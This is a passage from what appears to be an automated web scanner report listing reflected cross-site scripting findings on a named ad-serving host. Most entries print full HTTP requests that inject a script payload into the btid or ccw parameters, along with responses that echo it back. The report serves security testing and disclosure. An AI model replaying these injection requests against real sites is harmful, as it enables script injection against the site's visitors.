Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303681865&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303663865478&bpp=16&shv=r20110420&jsv=r20110415&correlator=1303663865496&frm=1&adk=2614322350&ga_vid=1538346491.1303663866&ga_sid=1303663866&ga_hid=2007194349&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&eid=33895132&fu=4&ifi=1&dtd=121
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:56:30 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 16:50:11 GMT
Accept-Ranges: bytes
Last-Modified: Wed, 06 Apr 2011 17:50:22 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1552

<IFRAME SRC="http://ad.doubleclick.net/adi/N4637.158901.6939390485621/B5385253.8;sz=160x600;pc=[TPAS_ID];ord=NERCNDU0RjYwMDBBNzE5NzBBRUM2NThCQ0E4MTRBNUF8R0ZVeWQxclZsYXwxMzAzNjYzODY0NzY1fDF8MEZTb3MxV1l
...[SNIP]...
.8;abr=!ie;sz=160x600;pc=[TPAS_ID];ord=NERCNDU0RjYwMDBBNzE5NzBBRUM2NThCQ0E4MTRBNUF8R0ZVeWQxclZsYXwxMzAzNjYzODY0NzY1fDF8MEZTb3MxV1lvZXwwUmlsTFRhcWYxfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDYxMTg4MQ935a4"><script>alert(1)</script>6cd3e634953?">
...[SNIP]...

6.78. http://cdn.w55c.net/i/0RilLTaqf1_958911823.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RilLTaqf1_958911823.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ae0e"><script>alert(1)</script>a3c085132ed was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RilLTaqf1_958911823.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=7ae0e"><script>alert(1)</script>a3c085132ed&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRU9gAKcZcK7GWLyoFKWsZOaIGHRR4fdymMmw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZTb3MxV1lvZQ&ciu=MFJpbExUYXFmMQ&reqid=NERCNDU0RjYwMDBBNzE5NzBBRUM2NThCQ0E4MTRBNUE&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=611&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303681865&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303663865478&bpp=16&shv=r20110420&jsv=r20110415&correlator=1303663865496&frm=1&adk=2614322350&ga_vid=1538346491.1303663866&ga_sid=1303663866&ga_hid=2007194349&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&eid=33895132&fu=4&ifi=1&dtd=121
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:56:30 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Wed, 06 Apr 2011 17:50:22 GMT
Date: Sun, 24 Apr 2011 16:50:11 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 904

<IFRAME SRC="http://ad.doubleclick.net/adi/N4637.158901.6939390485621/B5385253.8;sz=160x600;pc=[TPAS_ID];ord=7ae0e"><script>alert(1)</script>a3c085132ed?" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.79. http://cdn.w55c.net/i/0RkPQrQRFy_1341446950.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RkPQrQRFy_1341446950.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0ae7"><script>alert(1)</script>fc644e975d8 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RkPQrQRFy_1341446950.html?rtbhost=rts-rr11.sldc.dataxu.net&btid=c0ae7"><script>alert(1)</script>fc644e975d8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_oAAIeAsK5X6IMLFNiw5YQb_V37aYux-2HA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEYzTllTc2l3dw&ciu=MFJrUFFyUVJGeQ&reqid=NERCNDNGQTAwMDA4NzgwQjBBRTU3RTg4MzBCMTREOEI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=138&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676403&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658403541&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658403548&frm=1&adk=513358139&ga_vid=764788207.1303658404&ga_sid=1303658404&ga_hid=1212953574&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:20:33 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:14:45 GMT
Accept-Ranges: bytes
Last-Modified: Fri, 01 Apr 2011 14:32:11 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 866

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B5114832.6;sz=728x90;pc=[TPAS_ID];ord=c0ae7"><script>alert(1)</script>fc644e975d8?" WIDTH=728 HEIGHT=90 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.80. http://cdn.w55c.net/i/0RkPQrQRFy_1341446950.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RkPQrQRFy_1341446950.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78459"><script>alert(1)</script>f0b05869bbc was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RkPQrQRFy_1341446950.html?rtbhost=rts-rr11.sldc.dataxu.net&btid=NERCNDNGQTAwMDA4NzgwQjBBRTU3RTg4MzBCMTREOEJ8R0Z4SVo3ZkJBZHwxMzAzNjU4NDAyNTg0fDF8MEYzTllTc2l3d3wwUmtQUXJRUkZ5fEVYXzEwMjM0NzcyMDZ8MTM4OTYy78459"><script>alert(1)</script>f0b05869bbc&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_oAAIeAsK5X6IMLFNiw5YQb_V37aYux-2HA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEYzTllTc2l3dw&ciu=MFJrUFFyUVJGeQ&reqid=NERCNDNGQTAwMDA4NzgwQjBBRTU3RTg4MzBCMTREOEI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=138&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=90&slotname=9524956792&w=728&lmt=1303676403&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_728_90_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658403541&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658403548&frm=1&adk=513358139&ga_vid=764788207.1303658404&ga_sid=1303658404&ga_hid=1212953574&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3961147505&fu=4&ifi=1&dtd=10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:20:32 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Fri, 01 Apr 2011 14:32:11 GMT
Date: Sun, 24 Apr 2011 15:20:23 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1410

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B5114832.6;sz=728x90;pc=[TPAS_ID];ord=NERCNDNGQTAwMDA4NzgwQjBBRTU3RTg4MzBCMTREOEJ8R0Z4SVo3ZkJBZHwxMzAzNjU4NDAyNTg0fDF8MEYzTllTc2l3d3wwUmtQ
...[SNIP]...
N553.158901.DATAXU/B5114832.6;abr=!ie;sz=728x90;pc=[TPAS_ID];ord=NERCNDNGQTAwMDA4NzgwQjBBRTU3RTg4MzBCMTREOEJ8R0Z4SVo3ZkJBZHwxMzAzNjU4NDAyNTg0fDF8MEYzTllTc2l3d3wwUmtQUXJRUkZ5fEVYXzEwMjM0NzcyMDZ8MTM4OTYy78459"><script>alert(1)</script>f0b05869bbc?">
...[SNIP]...

6.81. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fab1"><script>alert(1)</script>32fd7cc17d7 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=3fab1"><script>alert(1)</script>32fd7cc17d7&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:04 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 420
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 1698

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
ZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=3fab1"><script>alert(1)</script>32fd7cc17d7?" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.82. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbaf0"><script>alert(1)</script>b3a155594fa was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nwdbaf0"><script>alert(1)</script>b3a155594fa&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:03 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 419
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061002 (MII-APC/1.6)
Content-Length: 2346

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nwdbaf0"><script>alert(1)</script>b3a155594fa?">
...[SNIP]...

6.83. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ccw parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ccw request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2f61"><script>alert(1)</script>42bb6a3d738 was submitted in the ccw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=f2f61"><script>alert(1)</script>42bb6a3d738&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:14 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 430
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061003 (MII-APC/1.6)
Content-Length: 2124

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=f2f61"><script>alert(1)</script>42bb6a3d738&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh
...[SNIP]...

6.84. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ccw parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ccw request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b92c7"><script>alert(1)</script>e45bffd3462 was submitted in the ccw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

